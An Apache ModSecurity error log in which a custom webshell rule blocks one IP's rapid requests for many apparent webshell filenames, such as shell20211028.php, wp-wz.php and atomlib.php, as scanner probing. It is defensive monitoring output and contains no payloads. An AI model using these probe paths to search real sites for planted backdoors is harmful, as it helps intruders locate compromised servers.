[Tue May 26 22:37:02.182674 2026] [:error] [pid 43701:tid 43726] [client 20.63.34.22:13756] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/png.php"] [unique_id "ahWwDoWtVI_UGrhtwKAf_wAAAVc"]
[Tue May 26 22:37:02.888541 2026] [:error] [pid 43701:tid 43722] [client 20.63.34.22:14334] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/png.php"] [unique_id "ahWwDoWtVI_UGrhtwKAgAwAAAVM"]
[Tue May 26 22:37:03.487176 2026] [:error] [pid 43701:tid 43706] [client 20.63.34.22:14321] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/png.php"] [unique_id "ahWwD4WtVI_UGrhtwKAgCAAAAUM"]
[Tue May 26 22:37:03.932099 2026] [:error] [pid 43701:tid 43707] [client 20.63.34.22:13748] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-at.php"] [unique_id "ahWwD4WtVI_UGrhtwKAgCgAAAUQ"]
[Tue May 26 22:37:04.534856 2026] [:error] [pid 36497:tid 36517] [client 20.63.34.22:14228] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-at.php"] [unique_id "ahWwELjKQWM1gBmBY4hJ5gAAAMc"]
[Tue May 26 22:37:04.973599 2026] [:error] [pid 43701:tid 43716] [client 20.63.34.22:13658] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-at.php"] [unique_id "ahWwEIWtVI_UGrhtwKAgDwAAAU0"]
[Tue May 26 22:37:05.494905 2026] [:error] [pid 33887:tid 33931] [client 20.63.34.22:13692] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-at.php"] [unique_id "ahWwEdCOI_FV7meOxGdZiAAAAIw"]
[Tue May 26 22:37:06.047585 2026] [:error] [pid 36497:tid 36527] [client 20.63.34.22:14279] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/database.php"] [unique_id "ahWwErjKQWM1gBmBY4hJ6AAAANE"]
[Tue May 26 22:37:06.566647 2026] [:error] [pid 43701:tid 43718] [client 20.63.34.22:14221] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/database.php"] [unique_id "ahWwEoWtVI_UGrhtwKAgFAAAAU8"]
[Tue May 26 22:37:07.187737 2026] [:error] [pid 43701:tid 43723] [client 20.63.34.22:14330] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/database.php"] [unique_id "ahWwE4WtVI_UGrhtwKAgFwAAAVQ"]
[Tue May 26 22:37:08.003100 2026] [:error] [pid 43701:tid 43712] [client 20.63.34.22:14322] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/database.php"] [unique_id "ahWwFIWtVI_UGrhtwKAgGwAAAUk"]
[Tue May 26 22:37:08.827285 2026] [:error] [pid 43701:tid 43726] [client 20.63.34.22:14301] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/like.php"] [unique_id "ahWwFIWtVI_UGrhtwKAgIAAAAVc"]
[Tue May 26 22:37:09.368188 2026] [:error] [pid 36497:tid 36515] [client 20.63.34.22:14250] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/like.php"] [unique_id "ahWwFbjKQWM1gBmBY4hJ7gAAAMU"]
[Tue May 26 22:37:10.203595 2026] [:error] [pid 36497:tid 36511] [client 20.63.34.22:14329] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/like.php"] [unique_id "ahWwFrjKQWM1gBmBY4hJ8QAAAME"]
[Tue May 26 22:37:10.969004 2026] [:error] [pid 33977:tid 33990] [client 20.63.34.22:14332] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/like.php"] [unique_id "ahWwFu9cnSDNAU9sYPgblgAAAAo"]
[Tue May 26 22:37:11.423729 2026] [:error] [pid 36497:tid 36520] [client 20.63.34.22:14267] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ahWwF7jKQWM1gBmBY4hJ8wAAAMo"]
[Tue May 26 22:37:11.871691 2026] [:error] [pid 43701:tid 43722] [client 20.63.34.22:14241] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ahWwF4WtVI_UGrhtwKAgKgAAAVM"]
[Tue May 26 22:37:12.304942 2026] [:error] [pid 43701:tid 43709] [client 20.63.34.22:14238] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ahWwGIWtVI_UGrhtwKAgLAAAAUY"]
[Tue May 26 22:37:12.757897 2026] [:error] [pid 43701:tid 43717] [client 20.63.34.22:13691] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ahWwGIWtVI_UGrhtwKAgMgAAAU4"]
[Tue May 26 22:37:13.214147 2026] [:error] [pid 43701:tid 43711] [client 20.63.34.22:14151] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "ahWwGYWtVI_UGrhtwKAgMwAAAUg"]
[Tue May 26 22:37:13.640360 2026] [:error] [pid 43701:tid 43710] [client 20.63.34.22:14230] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "ahWwGYWtVI_UGrhtwKAgOAAAAUc"]
[Tue May 26 22:37:14.095506 2026] [:error] [pid 43701:tid 43704] [client 20.63.34.22:13664] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "ahWwGoWtVI_UGrhtwKAgOgAAAUE"]
[Tue May 26 22:37:14.662126 2026] [:error] [pid 36497:tid 36516] [client 20.63.34.22:13947] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "ahWwGrjKQWM1gBmBY4hJ-gAAAMY"]
[Tue May 26 22:37:15.098560 2026] [:error] [pid 43701:tid 43712] [client 20.63.34.22:14308] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ahWwG4WtVI_UGrhtwKAgPgAAAUk"]
[Tue May 26 22:37:15.634262 2026] [:error] [pid 33888:tid 33962] [client 20.63.34.22:14085] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ahWwGzqzTeoxiinZsGEv4wAAARA"]
[Tue May 26 22:37:16.140868 2026] [:error] [pid 33888:tid 33954] [client 20.63.34.22:14274] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ahWwHDqzTeoxiinZsGEv5QAAAQg"]
[Tue May 26 22:37:16.630794 2026] [:error] [pid 43701:tid 43707] [client 20.63.34.22:14226] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ahWwHIWtVI_UGrhtwKAgQgAAAUQ"]
[Tue May 26 22:37:17.062879 2026] [:error] [pid 43701:tid 43712] [client 20.63.34.22:14244] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "ahWwHYWtVI_UGrhtwKAgRgAAAUk"]
[Tue May 26 22:37:17.595656 2026] [:error] [pid 43701:tid 43707] [client 20.63.34.22:14219] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "ahWwHYWtVI_UGrhtwKAgTQAAAUQ"]
[Tue May 26 22:37:18.052331 2026] [:error] [pid 33977:tid 34001] [client 20.63.34.22:14225] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "ahWwHu9cnSDNAU9sYPgbmgAAABU"]
[Tue May 26 22:37:18.478732 2026] [:error] [pid 33887:tid 33936] [client 20.63.34.22:14275] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "ahWwHtCOI_FV7meOxGdZigAAAJE"]
[Tue May 26 22:37:18.996173 2026] [:error] [pid 36497:tid 36533] [client 20.63.34.22:14092] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "ahWwHrjKQWM1gBmBY4hJ_wAAANc"]
[Tue May 26 22:37:19.512653 2026] [:error] [pid 33888:tid 33957] [client 20.63.34.22:14235] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "ahWwHzqzTeoxiinZsGEv5wAAAQs"]
[Tue May 26 22:37:19.977519 2026] [:error] [pid 33977:tid 34000] [client 20.63.34.22:14272] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "ahWwH-9cnSDNAU9sYPgbogAAABQ"]
[Tue May 26 22:37:20.529624 2026] [:error] [pid 33977:tid 33986] [client 20.63.34.22:14254] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "ahWwIO9cnSDNAU9sYPgbpgAAAAY"]
[Tue May 26 22:37:21.020071 2026] [:error] [pid 36497:tid 36530] [client 20.63.34.22:14247] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-wz.php"] [unique_id "ahWwIbjKQWM1gBmBY4hKCAAAANQ"]
[Tue May 26 22:37:21.476410 2026] [:error] [pid 43701:tid 43708] [client 20.63.34.22:14326] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-wz.php"] [unique_id "ahWwIYWtVI_UGrhtwKAgcgAAAUU"]
[Tue May 26 22:37:21.955222 2026] [:error] [pid 43701:tid 43707] [client 20.63.34.22:14234] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-wz.php"] [unique_id "ahWwIYWtVI_UGrhtwKAgdAAAAUQ"]
[Tue May 26 22:37:22.412284 2026] [:error] [pid 43701:tid 43720] [client 20.63.34.22:14164] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-wz.php"] [unique_id "ahWwIoWtVI_UGrhtwKAgewAAAVE"]
[Tue May 26 22:37:22.952562 2026] [:error] [pid 33888:tid 33964] [client 20.63.34.22:14222] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ahWwIjqzTeoxiinZsGEv6wAAARI"]
[Tue May 26 22:37:23.570537 2026] [:error] [pid 43701:tid 43712] [client 20.63.34.22:14211] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ahWwI4WtVI_UGrhtwKAgiAAAAUk"]
[Tue May 26 22:37:24.364035 2026] [:error] [pid 43701:tid 43717] [client 20.63.34.22:13911] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ahWwJIWtVI_UGrhtwKAgjgAAAU4"]
[Tue May 26 22:37:24.938887 2026] [:error] [pid 43701:tid 43714] [client 20.63.34.22:14213] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ahWwJIWtVI_UGrhtwKAgkgAAAUs"]
[Tue May 26 22:37:25.982026 2026] [:error] [pid 43701:tid 43724] [client 20.63.34.22:14148] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "ahWwJYWtVI_UGrhtwKAgmQAAAVU"]
[Tue May 26 22:37:26.791911 2026] [:error] [pid 36497:tid 36532] [client 20.63.34.22:14285] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "ahWwJrjKQWM1gBmBY4hKFgAAANY"]
[Tue May 26 22:37:27.359144 2026] [:error] [pid 36497:tid 36531] [client 20.63.34.22:14257] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "ahWwJ7jKQWM1gBmBY4hKGAAAANU"]
[Tue May 26 22:37:27.981610 2026] [:error] [pid 33977:tid 33983] [client 20.63.34.22:13896] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "ahWwJ-9cnSDNAU9sYPgbtAAAAAM"]
[Tue May 26 22:37:28.482619 2026] [:error] [pid 36497:tid 36515] [client 20.63.34.22:13681] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "ahWwKLjKQWM1gBmBY4hKHwAAAMU"]
[Tue May 26 22:37:28.927946 2026] [:error] [pid 36497:tid 36520] [client 20.63.34.22:13905] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "ahWwKLjKQWM1gBmBY4hKIQAAAMo"]
[Tue May 26 22:37:29.667953 2026] [:error] [pid 33886:tid 33901] [client 20.63.34.22:14245] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "ahWwKbBYzgp5rPVdHcXAXQAAAEo"]
[Tue May 26 22:37:30.312934 2026] [:error] [pid 33886:tid 33895] [client 20.63.34.22:14271] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "ahWwKrBYzgp5rPVdHcXAXgAAAEQ"]
[Tue May 26 22:37:31.005632 2026] [:error] [pid 33887:tid 33941] [client 20.63.34.22:14166] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "ahWwK9COI_FV7meOxGdZlQAAAJY"]
[Tue May 26 22:37:31.474567 2026] [:error] [pid 33886:tid 33908] [client 20.63.34.22:14232] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "ahWwK7BYzgp5rPVdHcXAYgAAAFE"]
[Tue May 26 22:37:31.967052 2026] [:error] [pid 33887:tid 33936] [client 20.63.34.22:14276] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "ahWwK9COI_FV7meOxGdZmQAAAJE"]
[Tue May 26 22:37:32.472545 2026] [:error] [pid 33888:tid 33969] [client 20.63.34.22:14153] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "ahWwLDqzTeoxiinZsGEv8gAAARc"]
[Tue May 26 22:37:33.253077 2026] [:error] [pid 33977:tid 33992] [client 20.63.34.22:14310] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z.php"] [unique_id "ahWwLe9cnSDNAU9sYPgbuAAAAAw"]
[Tue May 26 22:37:33.875433 2026] [:error] [pid 33977:tid 33985] [client 20.63.34.22:14170] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z.php"] [unique_id "ahWwLe9cnSDNAU9sYPgbuQAAAAU"]
